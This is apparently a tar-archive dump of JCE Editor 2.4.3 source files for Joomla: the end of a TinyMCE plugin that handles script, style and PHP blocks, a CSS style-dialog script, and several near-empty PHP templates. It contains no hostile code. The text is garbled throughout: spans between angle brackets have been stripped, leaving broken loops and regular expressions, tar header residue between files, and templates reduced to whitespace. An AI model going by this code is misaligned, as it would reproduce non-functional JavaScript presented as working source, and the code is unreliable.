ed.onNodeChange.add(function(ed,cm,n,co){ed.dom.removeClass(ed.dom.select('.mceItemSelected'),'mceItemSelected');if(isCode(n)){ed.dom.addClass(n,'mceItemSelected');}});ed.onKeyDown.add(function(ed,e){if(e.keyCode===BACKSPACE||e.keyCode===DELETE){self._removeCode(e);}});ed.onPreInit.add(function(){if(ed.getParam('code_style')){ed.schema.addValidElements('style[scoped|*]');ed.schema.addValidChildren('+body[style]');} ed.parser.addNodeFilter('script,style',function(nodes){for(var i=0,len=nodes.length;i]*>([\s\S]*?)<\/script>/gi,'');} if(!ed.getParam('code_style')){o.content=o.content.replace(/]*>([\s\S]*?)<\/style>/gi,'');} if(!ed.getParam('code_php')){o.content=o.content.replace(/<\?(php)?([\s\S]*?)\?>/gi,'');} o.content=o.content.replace(/\="([^"]+?)"/g,function(a,b){b=b.replace(/<\?(php)?(.+?)\?>/gi,function(x,y,z){return'{php:start}'+ed.dom.encode(z)+'{php:end}';});return'="'+b+'"';});if(/';});} o.content=o.content.replace(/<([^>]+)<\?(php)?(.+?)\?>([^>]*?)>/gi,function(a,b,c,d,e){if(b.charAt(b.length)!==' '){b+=' ';} return'<'+b+'data-mce-php="'+d+'" '+e+'>';});o.content=o.content.replace(/<\?(php)?([\s\S]+?)\?>/gi,'\u00a0');o.content=o.content.replace(/]+)><\/script>/gi,'\u00a0');o.content=o.content.replace(/<(script|style)([^>]*)>/gi,function(a,b,c){if(c.indexOf('data-mce-type')===-1){if(c.indexOf('type')===-1){var type=(b==="script")?"javascript":"css";c+=' data-mce-type="text/'+type+'"';}else{c=c.replace(/type="([^"]+)"/i,'data-mce-type="$1"');}} return'<'+b+c+'>';});}});ed.onPostProcess.add(function(ed,o){if(o.get){if(/(mcePhp|data-mce-php|\{php:start\})/.test(o.content)){o.content=o.content.replace(/\{php:start\}([^\{]+)\{php:end\}/g,function(a,b){return'';});o.content=o.content.replace(/]*)>([\s\S]*?)<\/textarea>/gi,function(a,b,c){if(/<\?php/.test(c)){c=ed.dom.decode(c);} return''+c+'';});o.content=o.content.replace(/data-mce-php="([^"]+?)"/g,function(a,b){return'';});o.content=o.content.replace(/]+)class="mcePhp"([^>]+)>( |\u00a0)<\/span>/g,function(a,b,c,d){return'';});} o.content=o.content.replace(/<(script|style)([^>]*)>/gi,function(a,b,c){c=c.replace(/\s?data-mce-type="[^"]+"/gi,"");return'<'+b+c+'>';});}});},_removeCode:function(e){var ed=this.editor,s=ed.selection,n=s.getNode();if(ed.dom.is(n,'.mceItemScript, .mceItemStyle, .mceItemPhp, .mcePhp')){ed.undoManager.add();ed.dom.remove(n);if(e){e.preventDefault();}}},_convertCurlyCode:function(content){content=content.replace(/\{([^\}]+)\}([\s\S]+?)\{\/\1\}/,'{$1}$2{/$1}');content=content.replace(/\{([^\}]+)\}/,'{$1}');},_buildScript:function(n){var self=this,ed=this.editor,v,node,text,p;if(!n.parent) return;if(n.firstChild){v=n.firstChild.value;} p=JSON.parse(n.attr('data-mce-json'))||{};p.type=n.attr('data-mce-type')||p.type||'text/javascript';node=new Node('script',1);if(v){v=tinymce.trim(v);if(v){text=new Node('#text',3);text.raw=true;if(ed.getParam('code_cdata',true)&&p.type==="text/javascript"){v='// ';} text.value=v;node.append(text);}} each(p,function(v,k){node.attr(k,v);});node.attr('data-mce-type',p.type);n.replace(node);return true;},_buildStyle:function(n){var self=this,ed=this.editor,v,node,text,p;if(!n.parent) return;if(n.firstChild){v=n.firstChild.value;} p=JSON.parse(n.attr('data-mce-json'))||{};p.type='text/css';node=new Node('style',1);if(v){v=tinymce.trim(v);if(v){text=new Node('#text',3);text.raw=true;if(ed.getParam('code_cdata',true)){v='';} text.value=v;node.append(text);}} if(n.parent.name==='head'){p.scoped=null;}else{p.scoped="scoped";} each(p,function(v,k){node.attr(k,v);});node.attr('data-mce-type',p.type);n.replace(node);return true;},_buildNoScript:function(n){var self=this,ed=this.editor,p,node;if(!n.parent) return;p=JSON.parse(n.attr('data-mce-json'))||{};node=new Node('noscript',1);each(p,function(v,k){node.attr(k,v);});n.wrap(node);n.unwrap();return true;},_serializeSpan:function(n){var self=this,ed=this.editor,dom=ed.dom,v,k,p={};if(!n.parent) return;each(n.attributes,function(at){if(at.name.indexOf('data-mce-')!==-1||at.name=='type') return;p[at.name]=at.value;});var span=new Node('span',1);span.attr('class','mceItem'+this._ucfirst(n.name));span.attr('data-mce-json',JSON.serialize(p));span.attr('data-mce-type',n.attr('data-mce-type')||p.type);v=n.firstChild?n.firstChild.value:'';if(v.length){var text=new Node('#comment',8);text.value=this._clean(v);span.append(text);} span.append(new tinymce.html.Node('#text',3)).value='\u00a0';n.replace(span);},_serializeNoScript:function(n){var self=this,ed=this.editor,dom=ed.dom,v,k,p={};if(!n.parent) return;each(n.attributes,function(at){if(at.name=='type') return;p[at.name]=at.value;});var div=new Node('div',1);div.attr('data-mce-json',JSON.serialize(p));div.attr('data-mce-type',n.name);n.wrap(div);n.unwrap();},_ucfirst:function(s){return s.charAt(0).toUpperCase()+s.substring(1);},_clean:function(s){s=s.replace(/(\/\/\s+)/gi,'\n');s=s.replace(/^[\r\n]*|[\r\n]*$/g,'');s=s.replace(/^\s*(\/\/\s*|\]\]>|-->|\]\]-->)\s*$/g,'');return s;},getInfo:function(){return{longname:'Code',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('code',tinymce.plugins.CodePlugin);})();com_jce/editor/tiny_mce/plugins/style/js/style.js000066600000066761150771500630016223 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var StyleDialog={settings:{},defaults:{'Fonts':""+"Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;"+"Times New Roman, Times, serif=Times New Roman, Times, serif;"+"Courier New, Courier, mono=Courier New, Courier, mono;"+"Times New Roman, Times, serif=Times New Roman, Times, serif;"+"Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;"+"Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;"+"Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif",'Sizes':"9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger",'Measurement':"+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%",'SpacingMeasurement':"pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%",'IndentMeasurement':"pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%",'Weight':"normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900",'TextStyle':"normal;italic;oblique",'Variant':"normal;small-caps",'LineHeight':"normal",'Attachment':"fixed;scroll",'Repeat':"no-repeat;repeat;repeat-x;repeat-y",'PosH':"left;center;right",'PosV':"top;center;bottom",'VAlign':"baseline;sub;super;top;text-top;middle;bottom;text-bottom",'Display':"inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none",'BorderStyle':"none;solid;dashed;dotted;double;groove;ridge;inset;outset",'BorderWidth':"thin;medium;thick",'ListType':"disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"},aggregateStyles:function(allStyles){var mergedStyles={};tinymce.each(allStyles,function(style){if(style!==''){var parsedStyles=tinyMCEPopup.editor.dom.parseStyle(style);for(var name in parsedStyles){if(parsedStyles.hasOwnProperty(name)){if(mergedStyles[name]===undefined){mergedStyles[name]=parsedStyles[name];} else if(name==='text-decoration'){if(mergedStyles[name].indexOf(parsedStyles[name])===-1){mergedStyles[name]=mergedStyles[name]+' '+parsedStyles[name];}}}}}});return mergedStyles;},init:function(){var ed=tinyMCEPopup.editor,ce=document.getElementById('container'),h;if(!this.settings.file_browser){$('input.browser').removeClass('browser');} this.existingStyles=this.aggregateStyles(tinyMCEPopup.getWindowArg('styles'));ce.style.cssText=ed.dom.serializeStyle(this.existingStyles);this.applyActionIsInsert=ed.getParam("edit_css_style_insert_span",false);$('#toggle_insert_span').prop('checked',this.applyActionIsInsert);this.fillSelect(0,'text_font','style_font',ed.getParam('theme_advanced_fonts',this.defaults.Fonts),';',true);this.fillSelect(0,'text_size','style_font_size',this.defaults.Sizes,';',true);this.fillSelect(0,'text_size_measurement','style_font_size_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'text_case','style_text_case',"capitalize;uppercase;lowercase",';',true);this.fillSelect(0,'text_weight','style_font_weight',this.defaults.Weight,';',true);this.fillSelect(0,'text_style','style_font_style',this.defaults.TextStyle,';',true);this.fillSelect(0,'text_variant','style_font_variant',this.defaults.Variant,';',true);this.fillSelect(0,'text_lineheight','style_font_line_height',this.defaults.LineHeight,';',true);this.fillSelect(0,'text_lineheight_measurement','style_font_line_height_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'background_attachment','style_background_attachment',this.defaults.Attachment,';',true);this.fillSelect(0,'background_repeat','style_background_repeat',this.defaults.Repeat,';',true);this.fillSelect(0,'background_hpos_measurement','style_background_hpos_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'background_vpos_measurement','style_background_vpos_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'background_hpos','style_background_hpos',this.defaults.PosH,';',true);this.fillSelect(0,'background_vpos','style_background_vpos',this.defaults.PosV,';',true);this.fillSelect(0,'block_wordspacing','style_wordspacing','normal',';',true);this.fillSelect(0,'block_wordspacing_measurement','style_wordspacing_measurement',this.defaults.SpacingMeasurement,';',true);this.fillSelect(0,'block_letterspacing','style_letterspacing','normal',';',true);this.fillSelect(0,'block_letterspacing_measurement','style_letterspacing_measurement',this.defaults.SpacingMeasurement,';',true);this.fillSelect(0,'block_vertical_alignment','style_vertical_alignment',this.defaults.VAlign,';',true);this.fillSelect(0,'block_text_align','style_text_align',"left;right;center;justify",';',true);this.fillSelect(0,'block_whitespace','style_whitespace',"normal;pre;nowrap",';',true);this.fillSelect(0,'block_display','style_display',this.defaults.Display,';',true);this.fillSelect(0,'block_text_indent_measurement','style_text_indent_measurement',this.defaults.IndentMeasurement,';',true);this.fillSelect(0,'box_width_measurement','style_box_width_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_height_measurement','style_box_height_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_float','style_float','left;right;none',';',true);this.fillSelect(0,'box_clear','style_clear','left;right;both;none',';',true);this.fillSelect(0,'box_padding_left_measurement','style_padding_left_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_padding_top_measurement','style_padding_top_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_padding_bottom_measurement','style_padding_bottom_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_padding_right_measurement','style_padding_right_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_margin_left_measurement','style_margin_left_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_margin_top_measurement','style_margin_top_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_margin_bottom_measurement','style_margin_bottom_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'box_margin_right_measurement','style_margin_right_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'border_style_top','style_border_style_top',this.defaults.BorderStyle,';',true);this.fillSelect(0,'border_style_right','style_border_style_right',this.defaults.BorderStyle,';',true);this.fillSelect(0,'border_style_bottom','style_border_style_bottom',this.defaults.BorderStyle,';',true);this.fillSelect(0,'border_style_left','style_border_style_left',this.defaults.BorderStyle,';',true);this.fillSelect(0,'border_width_top','style_border_width_top',this.defaults.BorderWidth,';',true);this.fillSelect(0,'border_width_right','style_border_width_right',this.defaults.BorderWidth,';',true);this.fillSelect(0,'border_width_bottom','style_border_width_bottom',this.defaults.BorderWidth,';',true);this.fillSelect(0,'border_width_left','style_border_width_left',this.defaults.BorderWidth,';',true);this.fillSelect(0,'border_width_top_measurement','style_border_width_top_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'border_width_right_measurement','style_border_width_right_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'border_width_bottom_measurement','style_border_width_bottom_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'border_width_left_measurement','style_border_width_left_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'list_type','style_list_type',this.defaults.ListType,';',true);this.fillSelect(0,'list_position','style_list_position',"inside;outside",';',true);this.fillSelect(0,'positioning_type','style_positioning_type',"absolute;relative;static",';',true);this.fillSelect(0,'positioning_visibility','style_positioning_visibility',"inherit;visible;hidden",';',true);this.fillSelect(0,'positioning_width_measurement','style_positioning_width_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_height_measurement','style_positioning_height_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_overflow','style_positioning_overflow',"visible;hidden;scroll;auto",';',true);this.fillSelect(0,'positioning_placement_top_measurement','style_positioning_placement_top_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_placement_right_measurement','style_positioning_placement_right_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_placement_bottom_measurement','style_positioning_placement_bottom_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_placement_left_measurement','style_positioning_placement_left_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_clip_top_measurement','style_positioning_clip_top_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_clip_right_measurement','style_positioning_clip_right_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_clip_bottom_measurement','style_positioning_clip_bottom_measurement',this.defaults.Measurement,';',true);this.fillSelect(0,'positioning_clip_left_measurement','style_positioning_clip_left_measurement',this.defaults.Measurement,';',true);this.setupFormData();this.showDisabledControls();$.Plugin.init();},setupFormData:function(){var ed=tinyMCEPopup.editor,ce=document.getElementById('container'),f=document.forms[0],s,b,i;selectByValue(f,'text_font',ce.style.fontFamily,true,true);selectByValue(f,'text_size',this.getNum(ce.style.fontSize),true,true);selectByValue(f,'text_size_measurement',this.getMeasurement(ce.style.fontSize));selectByValue(f,'text_weight',ce.style.fontWeight,true,true);selectByValue(f,'text_style',ce.style.fontStyle,true,true);selectByValue(f,'text_lineheight',this.getNum(ce.style.lineHeight),true,true);selectByValue(f,'text_lineheight_measurement',this.getMeasurement(ce.style.lineHeight));selectByValue(f,'text_case',ce.style.textTransform,true,true);selectByValue(f,'text_variant',ce.style.fontVariant,true,true);f.text_color.value=tinyMCEPopup.editor.dom.toHex(ce.style.color);f.text_underline.checked=this.inStr(ce.style.textDecoration,'underline');f.text_overline.checked=this.inStr(ce.style.textDecoration,'overline');f.text_linethrough.checked=this.inStr(ce.style.textDecoration,'line-through');f.text_blink.checked=this.inStr(ce.style.textDecoration,'blink');f.text_none.checked=this.inStr(ce.style.textDecoration,'none');this.updateTextDecorations();f.background_color.value=tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor);f.background_image.value=ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)",'gi'),function(a,b){return ed.convertURL(b);});selectByValue(f,'background_repeat',ce.style.backgroundRepeat,true,true);selectByValue(f,'background_attachment',ce.style.backgroundAttachment,true,true);selectByValue(f,'background_hpos',this.getNum(this.getVal(ce.style.backgroundPosition,0)),true,true);selectByValue(f,'background_hpos_measurement',this.getMeasurement(this.getVal(ce.style.backgroundPosition,0)));selectByValue(f,'background_vpos',this.getNum(this.getVal(ce.style.backgroundPosition,1)),true,true);selectByValue(f,'background_vpos_measurement',this.getMeasurement(this.getVal(ce.style.backgroundPosition,1)));selectByValue(f,'block_wordspacing',this.getNum(ce.style.wordSpacing),true,true);selectByValue(f,'block_wordspacing_measurement',this.getMeasurement(ce.style.wordSpacing));selectByValue(f,'block_letterspacing',this.getNum(ce.style.letterSpacing),true,true);selectByValue(f,'block_letterspacing_measurement',this.getMeasurement(ce.style.letterSpacing));selectByValue(f,'block_vertical_alignment',ce.style.verticalAlign,true,true);selectByValue(f,'block_text_align',ce.style.textAlign,true,true);f.block_text_indent.value=this.getNum(ce.style.textIndent);selectByValue(f,'block_text_indent_measurement',this.getMeasurement(ce.style.textIndent));selectByValue(f,'block_whitespace',ce.style.whiteSpace,true,true);selectByValue(f,'block_display',ce.style.display,true,true);f.box_width.value=this.getNum(ce.style.width);selectByValue(f,'box_width_measurement',this.getMeasurement(ce.style.width));f.box_height.value=this.getNum(ce.style.height);selectByValue(f,'box_height_measurement',this.getMeasurement(ce.style.height));if(tinymce.isGecko) selectByValue(f,'box_float',ce.style.cssFloat,true,true);else selectByValue(f,'box_float',ce.style.styleFloat,true,true);selectByValue(f,'box_clear',ce.style.clear,true,true);this.setupBox(f,ce,'box_padding','padding','');this.setupBox(f,ce,'box_margin','margin','');this.setupBox(f,ce,'border_style','border','Style');this.setupBox(f,ce,'border_width','border','Width');this.setupBox(f,ce,'border_color','border','Color');f.elements.border_color_top.value=tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value);f.elements.border_color_right.value=tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value);f.elements.border_color_bottom.value=tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value);f.elements.border_color_left.value=tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value);selectByValue(f,'list_type',ce.style.listStyleType,true,true);selectByValue(f,'list_position',ce.style.listStylePosition,true,true);f.list_bullet_image.value=ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)",'gi'),"$1");selectByValue(f,'positioning_type',ce.style.position,true,true);selectByValue(f,'positioning_visibility',ce.style.visibility,true,true);selectByValue(f,'positioning_overflow',ce.style.overflow,true,true);f.positioning_zindex.value=ce.style.zIndex?ce.style.zIndex:"";f.positioning_width.value=this.getNum(ce.style.width);selectByValue(f,'positioning_width_measurement',this.getMeasurement(ce.style.width));f.positioning_height.value=this.getNum(ce.style.height);selectByValue(f,'positioning_height_measurement',this.getMeasurement(ce.style.height));this.setupBox(f,ce,'positioning_placement','','',['top','right','bottom','left']);s=ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)",'gi'),"$1");s=s.replace(/,/g,' ');if(!this.hasEqualValues([this.getVal(s,0),this.getVal(s,1),this.getVal(s,2),this.getVal(s,3)])){f.positioning_clip_top.value=this.getNum(this.getVal(s,0));selectByValue(f,'positioning_clip_top_measurement',this.getMeasurement(this.getVal(s,0)));f.positioning_clip_right.value=this.getNum(this.getVal(s,1));selectByValue(f,'positioning_clip_right_measurement',this.getMeasurement(this.getVal(s,1)));f.positioning_clip_bottom.value=this.getNum(this.getVal(s,2));selectByValue(f,'positioning_clip_bottom_measurement',this.getMeasurement(this.getVal(s,2)));f.positioning_clip_left.value=this.getNum(this.getVal(s,3));selectByValue(f,'positioning_clip_left_measurement',this.getMeasurement(this.getVal(s,3)));}else{f.positioning_clip_top.value=this.getNum(this.getVal(s,0));selectByValue(f,'positioning_clip_top_measurement',this.getMeasurement(this.getVal(s,0)));f.positioning_clip_right.value=f.positioning_clip_bottom.value=f.positioning_clip_left.value;}},getMeasurement:function(s){return s.replace(/^([0-9.]+)(.*)$/,"$2");},getNum:function(s){if(new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$','gi').test(s)) return s.replace(/[^0-9.]/g,'');return s;},inStr:function(s,n){return new RegExp(n,'gi').test(s);},getVal:function(s,i){var a=s.split(' ');if(a.length>1) return a[i];return"";},setValue:function(f,n,v){if(f.elements[n].type=="text") f.elements[n].value=v;else selectByValue(f,n,v,true,true);},setupBox:function(f,ce,fp,pr,sf,b){if(typeof(b)=="undefined") b=['Top','Right','Bottom','Left'];if(this.isSame(ce,pr,sf,b)){f.elements[fp+"_same"].checked=true;this.setValue(f,fp+"_top",this.getNum(ce.style[pr+b[0]+sf]));f.elements[fp+"_top"].disabled=false;f.elements[fp+"_right"].value="";f.elements[fp+"_right"].disabled=true;f.elements[fp+"_bottom"].value="";f.elements[fp+"_bottom"].disabled=true;f.elements[fp+"_left"].value="";f.elements[fp+"_left"].disabled=true;if(f.elements[fp+"_top_measurement"]){selectByValue(f,fp+'_top_measurement',this.getMeasurement(ce.style[pr+b[0]+sf]));f.elements[fp+"_left_measurement"].disabled=true;f.elements[fp+"_bottom_measurement"].disabled=true;f.elements[fp+"_right_measurement"].disabled=true;}}else{f.elements[fp+"_same"].checked=false;this.setValue(f,fp+"_top",this.getNum(ce.style[pr+b[0]+sf]));f.elements[fp+"_top"].disabled=false;this.setValue(f,fp+"_right",this.getNum(ce.style[pr+b[1]+sf]));f.elements[fp+"_right"].disabled=false;this.setValue(f,fp+"_bottom",this.getNum(ce.style[pr+b[2]+sf]));f.elements[fp+"_bottom"].disabled=false;this.setValue(f,fp+"_left",this.getNum(ce.style[pr+b[3]+sf]));f.elements[fp+"_left"].disabled=false;if(f.elements[fp+"_top_measurement"]){selectByValue(f,fp+'_top_measurement',this.getMeasurement(ce.style[pr+b[0]+sf]));selectByValue(f,fp+'_right_measurement',this.getMeasurement(ce.style[pr+b[1]+sf]));selectByValue(f,fp+'_bottom_measurement',this.getMeasurement(ce.style[pr+b[2]+sf]));selectByValue(f,fp+'_left_measurement',this.getMeasurement(ce.style[pr+b[3]+sf]));f.elements[fp+"_left_measurement"].disabled=false;f.elements[fp+"_bottom_measurement"].disabled=false;f.elements[fp+"_right_measurement"].disabled=false;}}},isSame:function(e,pr,sf,b){var a=[],i,x;if(typeof(b)=="undefined") b=['Top','Right','Bottom','Left'];if(typeof(sf)=="undefined"||sf==null) sf="";a[0]=e.style[pr+b[0]+sf];a[1]=e.style[pr+b[1]+sf];a[2]=e.style[pr+b[2]+sf];a[3]=e.style[pr+b[3]+sf];for(i=0;i0?s.substring(1):s;if(f.text_none.checked) s="none";ce.style.textDecoration=s;ce.style.backgroundColor=f.background_color.value;ce.style.backgroundImage=f.background_image.value!=""?"url("+f.background_image.value+")":"";ce.style.backgroundRepeat=f.background_repeat.value;ce.style.backgroundAttachment=f.background_attachment.value;if(f.background_hpos.value!=""){s="";s+=f.background_hpos.value+(this.isNum(f.background_hpos.value)?f.background_hpos_measurement.value:"")+" ";s+=f.background_vpos.value+(this.isNum(f.background_vpos.value)?f.background_vpos_measurement.value:"");ce.style.backgroundPosition=s;} ce.style.wordSpacing=f.block_wordspacing.value+(this.isNum(f.block_wordspacing.value)?f.block_wordspacing_measurement.value:"");ce.style.letterSpacing=f.block_letterspacing.value+(this.isNum(f.block_letterspacing.value)?f.block_letterspacing_measurement.value:"");ce.style.verticalAlign=f.block_vertical_alignment.value;ce.style.textAlign=f.block_text_align.value;ce.style.textIndent=f.block_text_indent.value+(this.isNum(f.block_text_indent.value)?f.block_text_indent_measurement.value:"");ce.style.whiteSpace=f.block_whitespace.value;ce.style.display=f.block_display.value;ce.style.width=f.box_width.value+(this.isNum(f.box_width.value)?f.box_width_measurement.value:"");ce.style.height=f.box_height.value+(this.isNum(f.box_height.value)?f.box_height_measurement.value:"");if(tinymce.isIE){ce.style.styleFloat=f.box_float.value;}else{ce.style.cssFloat=f.box_float.value;} ce.style.clear=f.box_clear.value;if(!f.box_padding_same.checked){ce.style.paddingTop=f.box_padding_top.value+(this.isNum(f.box_padding_top.value)?f.box_padding_top_measurement.value:"");ce.style.paddingRight=f.box_padding_right.value+(this.isNum(f.box_padding_right.value)?f.box_padding_right_measurement.value:"");ce.style.paddingBottom=f.box_padding_bottom.value+(this.isNum(f.box_padding_bottom.value)?f.box_padding_bottom_measurement.value:"");ce.style.paddingLeft=f.box_padding_left.value+(this.isNum(f.box_padding_left.value)?f.box_padding_left_measurement.value:"");}else ce.style.padding=f.box_padding_top.value+(this.isNum(f.box_padding_top.value)?f.box_padding_top_measurement.value:"");if(!f.box_margin_same.checked){ce.style.marginTop=f.box_margin_top.value+(this.isNum(f.box_margin_top.value)?f.box_margin_top_measurement.value:"");ce.style.marginRight=f.box_margin_right.value+(this.isNum(f.box_margin_right.value)?f.box_margin_right_measurement.value:"");ce.style.marginBottom=f.box_margin_bottom.value+(this.isNum(f.box_margin_bottom.value)?f.box_margin_bottom_measurement.value:"");ce.style.marginLeft=f.box_margin_left.value+(this.isNum(f.box_margin_left.value)?f.box_margin_left_measurement.value:"");}else ce.style.margin=f.box_margin_top.value+(this.isNum(f.box_margin_top.value)?f.box_margin_top_measurement.value:"");if(!f.border_style_same.checked){ce.style.borderTopStyle=f.border_style_top.value;ce.style.borderRightStyle=f.border_style_right.value;ce.style.borderBottomStyle=f.border_style_bottom.value;ce.style.borderLeftStyle=f.border_style_left.value;}else ce.style.borderStyle=f.border_style_top.value;if(!f.border_width_same.checked){ce.style.borderTopWidth=f.border_width_top.value+(this.isNum(f.border_width_top.value)?f.border_width_top_measurement.value:"");ce.style.borderRightWidth=f.border_width_right.value+(this.isNum(f.border_width_right.value)?f.border_width_right_measurement.value:"");ce.style.borderBottomWidth=f.border_width_bottom.value+(this.isNum(f.border_width_bottom.value)?f.border_width_bottom_measurement.value:"");ce.style.borderLeftWidth=f.border_width_left.value+(this.isNum(f.border_width_left.value)?f.border_width_left_measurement.value:"");}else ce.style.borderWidth=f.border_width_top.value+(this.isNum(f.border_width_top.value)?f.border_width_top_measurement.value:"");if(!f.border_color_same.checked){ce.style.borderTopColor=f.border_color_top.value;ce.style.borderRightColor=f.border_color_right.value;ce.style.borderBottomColor=f.border_color_bottom.value;ce.style.borderLeftColor=f.border_color_left.value;}else ce.style.borderColor=f.border_color_top.value;ce.style.listStyleType=f.list_type.value;ce.style.listStylePosition=f.list_position.value;ce.style.listStyleImage=f.list_bullet_image.value!=""?"url("+f.list_bullet_image.value+")":"";ce.style.position=f.positioning_type.value;ce.style.visibility=f.positioning_visibility.value;if(ce.style.width=="") ce.style.width=f.positioning_width.value+(this.isNum(f.positioning_width.value)?f.positioning_width_measurement.value:"");if(ce.style.height=="") ce.style.height=f.positioning_height.value+(this.isNum(f.positioning_height.value)?f.positioning_height_measurement.value:"");ce.style.zIndex=f.positioning_zindex.value;ce.style.overflow=f.positioning_overflow.value;if(!f.positioning_placement_same.checked){ce.style.top=f.positioning_placement_top.value+(this.isNum(f.positioning_placement_top.value)?f.positioning_placement_top_measurement.value:"");ce.style.right=f.positioning_placement_right.value+(this.isNum(f.positioning_placement_right.value)?f.positioning_placement_right_measurement.value:"");ce.style.bottom=f.positioning_placement_bottom.value+(this.isNum(f.positioning_placement_bottom.value)?f.positioning_placement_bottom_measurement.value:"");ce.style.left=f.positioning_placement_left.value+(this.isNum(f.positioning_placement_left.value)?f.positioning_placement_left_measurement.value:"");}else{s=f.positioning_placement_top.value+(this.isNum(f.positioning_placement_top.value)?f.positioning_placement_top_measurement.value:"");ce.style.top=s;ce.style.right=s;ce.style.bottom=s;ce.style.left=s;} if(!f.positioning_clip_same.checked){s="rect(";s+=(this.isNum(f.positioning_clip_top.value)?f.positioning_clip_top.value+f.positioning_clip_top_measurement.value:"auto")+" ";s+=(this.isNum(f.positioning_clip_right.value)?f.positioning_clip_right.value+f.positioning_clip_right_measurement.value:"auto")+" ";s+=(this.isNum(f.positioning_clip_bottom.value)?f.positioning_clip_bottom.value+f.positioning_clip_bottom_measurement.value:"auto")+" ";s+=(this.isNum(f.positioning_clip_left.value)?f.positioning_clip_left.value+f.positioning_clip_left_measurement.value:"auto");s+=")";if(s!="rect(auto auto auto auto)") ce.style.clip=s;}else{s="rect(";t=this.isNum(f.positioning_clip_top.value)?f.positioning_clip_top.value+f.positioning_clip_top_measurement.value:"auto";s+=t+" ";s+=t+" ";s+=t+" ";s+=t+")";if(s!="rect(auto auto auto auto)") ce.style.clip=s;} ce.style.cssText=ce.style.cssText;},isNum:function(s){return new RegExp('[0-9]+','g').test(s);},showDisabledControls:function(){var f=document.forms,i,a;for(i=0;i1){addSelectValue(f,s,p[0],p[1]);if(se) selectByValue(f,s,p[1]);}else{addSelectValue(f,s,p[0],p[0]);if(se) selectByValue(f,s,p[0]);}}},toggleSame:function(ce,pre){var s=ce.checked;$('#'+pre+'_right, #'+pre+'_bottom, #'+pre+'_left').attr('disabled',s).toggleClass('disabled',s).next('span.pickcolor_icon, span.browser_icon, span.select-edit').toggleClass('disabled',s);$('#'+pre+'_right_measurement, #'+pre+'_bottom_measurement, #'+pre+'_left_measurement').attr('disabled',s).toggleClass('disabled',s);},synch:function(fr,to){var f=document.forms[0];f.elements[to].value=f.elements[fr].value;if(f.elements[fr+"_measurement"]) selectByValue(f,to+"_measurement",f.elements[fr+"_measurement"].value);},updateTextDecorations:function(){var noneChecked=$("#text_none").is(':checked');$("#text_underline, #text_overline, #text_linethrough, #text_blink").each(function(){$(this).prop('disabled',noneChecked);if(noneChecked){$(this).prop('checked',false);}});}};tinyMCEPopup.onInit.add(StyleDialog.init,StyleDialog);com_jce/editor/tiny_mce/plugins/style/js/index.html000066600000000054150771500630016501 0ustar00com_jce/editor/tiny_mce/plugins/style/tmpl/box.php000066600000016672150771500630016362 0ustar00
     
       
     
       
     
     
     
     
     
     
     
     
     
     
    com_jce/editor/tiny_mce/plugins/style/tmpl/default.php000066600000002557150771500630017213 0ustar00
    render(); ?>
    com_jce/editor/tiny_mce/plugins/style/tmpl/index.html000066600000000054150771500630017041 0ustar00com_jce/editor/tiny_mce/plugins/style/tmpl/border.php000066600000013006150771500630017033 0ustar00
           
           
       
     
     
       
     
     
       
     
     
       
     
     
    com_jce/editor/tiny_mce/plugins/style/tmpl/list.php000066600000002276150771500630016540 0ustar00
